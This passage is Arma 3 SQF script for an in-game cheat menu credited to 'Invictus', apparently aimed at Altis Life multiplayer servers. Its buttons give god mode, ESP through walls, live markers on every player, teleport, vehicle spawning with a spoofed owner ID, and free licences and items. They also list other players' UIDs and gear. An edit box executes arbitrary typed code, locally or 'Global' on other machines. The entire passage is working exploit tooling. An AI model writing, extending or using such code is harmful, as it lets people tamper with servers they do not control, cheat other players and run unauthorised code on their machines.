_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.1,2.4,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_5", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,-0.28,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_6", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.6715,-0.28,0.01,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_7", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,0.4,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_8", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,-0.28,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_9", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.725,-0.28,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_10", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.725,0.4,0.0015,0.683];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_11", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.125,-0.28,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_12", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.125,0.4,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_13", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,-0.28,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_14", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,0.4,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_15", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,0.394184,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_16", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,0.4,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_17", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.08,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_18", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,0.4,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_19", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,1.08,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_20", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,0.394184,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_21", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,-0.28,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_22", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.1125,-0.28,0.0015,1.36];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_23", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.1625,-0.28,0.0015,1.36];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_24", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.1125,-0.28,1.275,0.0015];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_25", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.1125,1.08,1.275,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_26", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [-0.2125,1.2,0.25,0.06];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.45];
_back ctrlSetText "Local";
_back ctrlCommit 0.0;
_back buttonSetAction '_edit = uiNamespace getVariable "RscEdit"; _text = ctrlText _edit; call compile format ["%1",_text];';
uiNamespace setVariable ["RscButtonMenu_1", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.3375,1.2,0.25,0.06];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Get File";
_back ctrlCommit 0.0;
_back buttonSetAction '[] spawn O_fnc_ArmAFile';
uiNamespace setVariable ["RscButtonMenu_2", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [1.125,1.2,0.25,0.06];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Global";
_back ctrlCommit 0.0;
_back buttonSetAction '_edit = uiNamespace getVariable "RscEdit"; _text = ctrlText _edit; call compile format ["[{%1},true] call O_fnc_ArmA",_text];';
uiNamespace setVariable ["RscButtonMenu_3", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.72,0.206079,0.0460789];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Heal";
_back ctrlCommit 0.0;
_back buttonSetAction 'player setDammage 0; vehicle player setDammage 0; vehicle player setFuel 1000;';
uiNamespace setVariable ["RscButtonMenu_4", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.66,0.206079,0.0460789];
if (isNil "O_fnc_GodButton")then{
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
}else{
_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
};
_back ctrlSetText "GodMode";
_back ctrlCommit 0.0;
_back buttonSetAction 'if (isNil "O_fnc_GodButton")then{player allowDamage false; O_fnc_GodButton = true; (uiNamespace getVariable "RscButtonMenu_5") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];}else{player allowDamage true; O_fnc_GodButton = nil; (uiNamespace getVariable "RscButtonMenu_5") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];};';
uiNamespace setVariable ["RscButtonMenu_5", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.78,0.206079,0.0460789];
if (isNil "O_fnc_DummyID")then{
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
}else{
_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
};
_back ctrlSetText "Dummy";
_back ctrlCommit 0.0;
_back buttonSetAction 'if (isNil "O_fnc_DummyID")then{(uiNamespace getVariable "RscButtonMenu_6") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65]; [] spawn O_fnc_CPerson}else{_player = O_fnc_DummyID; selectPlayer _player; vehicle _player switchCamera "EXTERNAL"; O_fnc_DummyID = nil; (uiNamespace getVariable "RscButtonMenu_6") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];};';
uiNamespace setVariable ["RscButtonMenu_6", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.84,0.206079,0.0460789];
if (isNil "O_fnc_MapMarkerButton")then{
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
}else{
_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
};
_back ctrlSetText "Map Marker";
_back ctrlCommit 0.0;
_back buttonSetAction '[] spawn{
if (isNil "O_fnc_MapMarkerButton")then{
(uiNamespace getVariable "RscButtonMenu_7") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
O_fnc_MapMarkerButton = true;
O_fnc_Markers = [];
while{!isNil "O_fnc_MapMarkerButton"} do {
{
if !(_x in allUnits) then {
deleteMarkerLocal str _x;
};
} forEach O_fnc_Markers;
O_fnc_Markers = [];
{
if(alive _x && isplayer _x) then {
deleteMarkerLocal str _x;
_playmarksss = createMarkerLocal [str _x,getpos _x];
_playmarksss setMarkerTypeLocal "waypoint";
_playmarksss setMarkerPosLocal getPos _x;
_playmarksss setMarkerSizeLocal [0.8,0.8];
_playmarksss setMarkerTextLocal format["%1 - %2",name _x, side _x, netID _x];
_playmarksss setMarkerColorLocal ("ColorGreen");
O_fnc_Markers = O_fnc_Markers + [_x];
};
} forEach allUnits;
sleep 0.5;
};
}else{
{
deleteMarkerLocal str _x;
} forEach O_fnc_Markers;
O_fnc_MapMarkerButton = nil;
(uiNamespace getVariable "RscButtonMenu_7") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
};
};
';
uiNamespace setVariable ["RscButtonMenu_7", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.9,0.206079,0.0460789];
if (isNil "O_fnc_ESPButton")then{
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
}else{
_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
};
_back ctrlSetText "ESP";
_back ctrlCommit 0.0;
_back buttonSetAction '
if (isNil "O_fnc_ESPButton")then{
O_fnc_ESPButton = true;
(uiNamespace getVariable "RscButtonMenu_8") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
onEachFrame {
{
if(side _x != side player && ((player distance _x) < 700) && isPlayer _x) then {
drawIcon3D ["", [1,0,0,0.7], position _x, 1, 1, 45,player distance _x + " " + name _x, 1, 0.03, "PuristaBold"]
}else{
if (alive _x && ((player distance _x) < 700) && isPlayer _x) then{
drawIcon3D ["", [0,1,0.5,0.4], position _x, 1, 1, 45, player distance _x + " " + name _x, 1, 0.03, "PuristaBold"]
};
};
} foreach allUnits;
_mans = nearestobjects [player,["man"],100];
{
if(alive _x && ((player distance _x) < 700) && isPlayer _x) then {
if(side _x != side player) then {
if(player distance _x < 5 && _x iskindof "man" && side _x != civilian && isPlayer _x) then {
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0.2,0.3,(abs((((player distance _x)) - 100)/100))]]
}else{
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0,0,(abs((((player distance _x)) - 100)/100))]]
};
}else{
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [0,1,0,(abs((((player distance _x)) - 100)/100))]]};
};
}foreach _mans;
};
}else{
onEachFrame {};
O_fnc_ESPButton = nil;
(uiNamespace getVariable "RscButtonMenu_8") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
};
';
uiNamespace setVariable ["RscButtonMenu_8", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.96,0.206079,0.0460789];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Teleport";
_back ctrlCommit 0.0;
_back buttonSetAction 'onMapSingleClick "vehicle player setPos _pos; onMapSingleClick """";"; openMap true;(findDisplay 49) closeDisplay 0;';
uiNamespace setVariable ["RscButtonMenu_9", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,1.02,0.206079,0.0460789];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Refresh";
_back ctrlCommit 0.0;
_back buttonSetAction '
disableserialization;
_ctrl = uiNamespace getVariable "RscListbox_6";
if(!isNull _ctrl) then {
_ctrl spawn O_fnc_PlayerList;
};
';
uiNamespace setVariable ["RscButtonMenu_10", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.1,-0.26,0.3125,0.04];
_back ctrlSetText format ["Name: %1",name player];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_1", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.1,-0.2,0.425,0.04];
_back ctrlSetText format ["PlayerID: %1",str (getPlayerUID player)];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_2", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.1,-0.14,0.3125,0.04];
_back ctrlSetText format ["OwnerID: %1",owner player];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_3", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.225,-0.24,0.2875,0.04];
_back ctrlSetText format ["Coded by: Invictus"];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_4", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.8375,-0.14,0.5,0.04];
_frames = round(diag_fpsmin) + 10;
_back ctrlSetText format ["FPS: %1",_frames];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_5", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.1,-0.08,0.3125,0.04];
_back ctrlSetText format ["netID: %1",netID player];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_6", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.8375,-0.08,0.3125,0.04];
_back ctrlSetText format ["Server: %1",Servername];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_7", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.225,-0.45,0.6,0.14];
_back ctrlSetStructuredText parseText format["<t size='1.25' font='puristaBold' color='#ff0000' valign='bottom' align='center' shadow='true'><t shadowColor='#000000'>Invictus</t>"];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_8", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.5675,-0.24,0.2875,0.04];
_back ctrlSetText format ["Functions: 476"];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_9", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.8375,-0.2,0.3125,0.04];
_back ctrlSetText format ["Players: %1",count(playableUnits)];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_10", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.8375,-0.26,0.3125,0.04];
_damage = getDammage player;
_back ctrlSetText format ["Health: %1",(((1-_damage)*100)-((1-_damage)*100 mod 1))];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_11", _back];
_back = _display ctrlCreate ["RscEdit", -1];
_back ctrlSetPosition [-0.207941,1.13797,1.58108,0.0498683];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetTextColor [0,0,0,0.5];
_back ctrlSetText format ["Enter the Code/File you want to execute/download.."];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscEdit", _back];
_back = _display ctrlCreate ["RscCombo", -1];
_back ctrlSetPosition [0.7625,0.64,0.3875,0.04];
_back ctrlCommit 0.0;
_back call O_fnc_Subs;
_back ctrlAddEventHandler ["LBSelChanged",{_this spawn O_fnc_SubsSelected;}];
uiNamespace setVariable ["RscCombo", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [1.175,-0.28,0.55,0.674184];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
_back call O_fnc_Vehicle;
_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_VehicleDbc}];
uiNamespace setVariable ["RscListbox_1", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [1.175,0.4,0.55,0.68];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
_back call O_fnc_altisLifeLicenses;
_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_altisLifeLicensesDbc}];
uiNamespace setVariable ["RscListbox_2", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [-0.675,0.4,0.55,0.68];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
_back call O_fnc_altisLifeItems;
_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_altisLifeItemsDbc}];
uiNamespace setVariable ["RscListbox_3", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [-0.675,-0.28,0.55,0.674184];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
_back call O_fnc_Waffen;
_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_WaffenDbc}];
uiNamespace setVariable ["RscListbox_4", _back];
_back = _display ctrlCreate ["RscListbox", -1];
_back ctrlSetPosition [-0.1,0,1.25,0.64];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscListbox_5", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [-0.1,0.66,0.607941,0.404053];
_back ctrlSetBackgroundColor [0.99,0.97,0.78,0.25];
_back ctrlCommit 0.0;
_back call O_fnc_PlayerList;
uiNamespace setVariable ["RscListbox_6", _back];
};
O_fnc_SubLoad = {
disableserialization;
_ctrl = _this select 0;
_array = _this select 1;
lbClear _ctrl;
{
_isToggle = _x select 3;
_toggle = _x select 2;
_color = [0,0.45,0.84,1];
if(_isToggle) then {
_value = call compile format["if(isNil '%1') then {%1 = false;};%1",_toggle];
if(_value) then {
_color = [0,1,0,1];
} else {
_color = [1,0,0,1];
};
};
_ctrl lbAdd (_x select 0);
_ctrl lbSetColor [_forEachIndex,_color];
} forEach _array;
};
O_fnc_SubsSelected = {
disableserialization;
_index = _this select 1;
_item = O_fnc_SubOrder select _index;
_array = _item select 1;
_ctrl = uiNamespace getVariable "RscListbox_5";
[_ctrl,_array] call O_fnc_SubLoad;
};
O_fnc_Vehicle = {
disableSerialization;
_ctrl = _this;
O_fnc_Cars = [];
_cfg = configFile >> "cfgVehicles";
for "_i" from 0 to count (_cfg)-1 do {
if(isNull _ctrl) exitWith {O_fnc_Cars = nil;};
_config = _cfg select _i;
if(isClass _config)then{
_cname = configName _config;
_scope = getNumber(_config >> "scope");
_pic = getText(_config >> "picture");
_name = getText(_config >> "displayName");
if (_scope == 2 && (_cname isKindOf "LandVehicle" || _cname isKindOf "Air" || _cname isKindOf "Ship") && _pic !="" &&!((_cname isKindOf"ParachuteBase") || (_cname isKindOf"BIS_Steerable_Parachute"))) then {
O_fnc_Cars = O_fnc_Cars + [[_name,_cname,_pic]];
};
};
};
{
_array = _x;
_text = _array select 0;
_data = _array select 1;
_image = _array select 2;
_index = _ctrl tvAdd[[],_text];
_ctrl tvSetPicture [[_index],_image];
_ctrl tvSetData [[_index],_data];
} forEach O_fnc_Cars;
};
O_fnc_altisLifeItems = {
disableserialization;
_ctrl = _this;
if (O_fnc_Modus == "AltisLife")then{
O_fnc_invItems = [];
if (!isNil "life_licenses")then{
if (!isNil "life_inv_items")then{
if (!isNil "life_fnc_varToStr")then{
{
_name = [_x] call life_fnc_varToStr;
O_fnc_invItems = O_fnc_invItems + [[_name,_x]];
}foreach life_inv_items;
};
};
}else{
if (!isNil "Schnitzel_inv_items")then{
if (!isNil "Schnitzel_fnc_varToStr")then{
{
_name = [_x] call Schnitzel_fnc_varToStr;
O_fnc_invItems = O_fnc_invItems + [[_name,_x]];
}foreach Schnitzel_inv_items;
};
}else{
{
_var = getText(missionConfigFile >> "VirtualItems" >> str (_x) >> "variable");
_name = getText(missionConfigFile >> "VirtualItems" >> str (_x) >> "displayName");
O_fnc_invItems = O_fnc_invItems + [[_name,_var]];
}foreach ("true" configClasses (missionConfigFile >> "VirtualItems"));
};
};
{
_array = _x;
_text = _array select 0;
_data = _array select 1;
if (typeName _text == "STRING")then{
_index = _ctrl tvAdd[[],_text];
_ctrl tvSetData [[_index],_data];
};
} forEach O_fnc_invItems;
}else{
};
};
O_fnc_altisLifeItemsDbc= {
disableSerialization;
_ctrl = _this;
_curSelArr = tvCurSel _ctrl;
_truepath = [_curSelArr select 0];
_data = _ctrl tvData _truepath;
_iname = _data;
missionNamespace setVariable[_iname,15];
};
O_fnc_altisLifeLicenses = {
disableserialization;
_ctrl = _this;
if (O_fnc_Modus == "AltisLife")then{
O_fnc_invLicenses = [];
if (!isNil "life_licenses")then{
if (!isNil "life_fnc_varToStr")then{
{
_lVar = (_x select 0);
_name = [_lVar] call life_fnc_varToStr;
O_fnc_invLicenses = O_fnc_invLicenses + [[_name,_lVar]];
}foreach life_licenses;
};
}else{
if (!isNil "Schnitzel_licenses")then{
if (!isNil "Schnitzel_fnc_varToStr")then{
{
_lVar = (_x select 0);
_name = [_lVar] call Schnitzel_fnc_varToStr;
O_fnc_invLicenses = O_fnc_invLicenses + [[_name,_lVar]];
}foreach Schnitzel_licenses;
};
};
};
{
_array = _x;
_text = _array select 0;
_data = _array select 1;
if (typeName _text == "STRING")then{
_index = _ctrl tvAdd[[],_text];
_ctrl tvSetData [[_index],_data];
};
} forEach O_fnc_invLicenses;
}else{
};
};
//4decrypt
O_fnc_altisLifeLicensesDbc= {
disableSerialization;
_ctrl = _this;
_curSelArr = tvCurSel _ctrl;
_truepath = [_curSelArr select 0];
_data = _ctrl tvData _truepath;
_lname = _data;
missionNamespace setVariable[_lname,true];
};
O_fnc_playerside = {
disableSerialization;
_object = _this;
_side = side _object;
_flag = "A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_civil_ca.paa";
if(_side == east) then {
_flag = "A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_opfor_ca.paa";
};
if(_side == west) then {
_flag = "\A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_bluefor_ca.paa";
};
if(_side == INDEPENDENT) then {
_flag = "A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_indep_ca.paa";
};
_flag;
};
O_fnc_PlayerList = {
disableserialization;
_ctrl = _this;
tvClear _ctrl;
_units = [];
{
if(isPlayer _x) then {player reveal _x;_units set[count(_units),_x];};
} forEach allunits;
{
if(alive _x && side _x == blufor) then {
_flag = _x call O_fnc_playerside;
_mainIndex = _ctrl tvAdd[[],name _x];
_ctrl tvSetPicture [[_mainIndex],_flag];
_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
{
_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
} forEach (weapons player);
_magInfo = [];
_magCount = [];
{
if !(_x in _magInfo) then {
_magInfo set[count(_magInfo),_x];
_magCount set[count(_magCount),1];
} else {
_cnt = _magCount select (_magInfo find _x);
_magCount set[count(_magCount),_cnt+1];
};
} forEach (magazines player);
{
_count = _magCount select _forEachIndex;
_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
} forEach _magInfo;
};
} forEach _units;
{
if(alive _x && side _x == opfor) then {
_flag = _x call O_fnc_playerside;
_mainIndex = _ctrl tvAdd[[],name _x];
_ctrl tvSetPicture [[_mainIndex],_flag];
_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
{
_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
} forEach (weapons player);
_magInfo = [];
_magCount = [];
{
if !(_x in _magInfo) then {
_magInfo set[count(_magInfo),_x];
_magCount set[count(_magCount),1];
} else {
_cnt = _magCount select (_magInfo find _x);
_magCount set[count(_magCount),_cnt+1];
};
} forEach (magazines player);
{
_count = _magCount select _forEachIndex;
_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
} forEach _magInfo;
};
} forEach _units;
{
if(alive _x && side _x == independent) then {
_flag = _x call O_fnc_playerside;
_mainIndex = _ctrl tvAdd[[],name _x];
_ctrl tvSetPicture [[_mainIndex],_flag];
_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
{
_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
} forEach (weapons player);
_magInfo = [];
_magCount = [];
{
if !(_x in _magInfo) then {
_magInfo set[count(_magInfo),_x];
_magCount set[count(_magCount),1];
} else {
_cnt = _magCount select (_magInfo find _x);
_magCount set[count(_magCount),_cnt+1];
};
} forEach (magazines player);
{
_count = _magCount select _forEachIndex;
_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
} forEach _magInfo;
};
} forEach _units;
{
if(alive _x && side _x == civilian) then {
_flag = _x call O_fnc_playerside;
_mainIndex = _ctrl tvAdd[[],name _x];
_ctrl tvSetPicture [[_mainIndex],_flag];
_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
{
_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
} forEach (weapons player);
_magInfo = [];
_magCount = [];
{
if !(_x in _magInfo) then {
_magInfo set[count(_magInfo),_x];
_magCount set[count(_magCount),1];
} else {
_cnt = _magCount select (_magInfo find _x);
_magCount set[count(_magCount),_cnt+1];
};
} forEach (magazines player);
{
_count = _magCount select _forEachIndex;
_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
} forEach _magInfo;
};
} forEach _units;
};
O_fnc_VehicleDbc = {
disableSerialization;
_ctrl = _this;
_curSelArr = tvCurSel _ctrl;
_truepath = [_curSelArr select 0];
_data = _ctrl tvData _truepath;
_vname = _data;
_name = _vname;
_pos = position player;
_dir = getdir player;
_obj = _name createVehicle _pos;
_obj setDir _dir;
if (!isNil "life_vehicles")then{
_nearVehicles = nearestObjects [getPos player,["Car","Truck","Air"],80];
if(count _nearVehicles == 0) exitWith {};
{
_plate = round(random(1000000));
_x setDamage 0;
life_vehicles set[count life_vehicles,_x];
_x setVariable["dbInfo",["751267613374118",_plate]];
}forEach _nearVehicles;
};
};
O_fnc_Subs = {
disableserialization;
_combo = _this;
{
_text = _x select 0;
_combo lbAdd _text;
} forEach O_fnc_SubOrder;
};
O_fnc_Waffen = {
disableserialization;
_ctrl = _this;
O_fnc_Weapons = [];
_cfg = configFile >> "cfgWeapons";
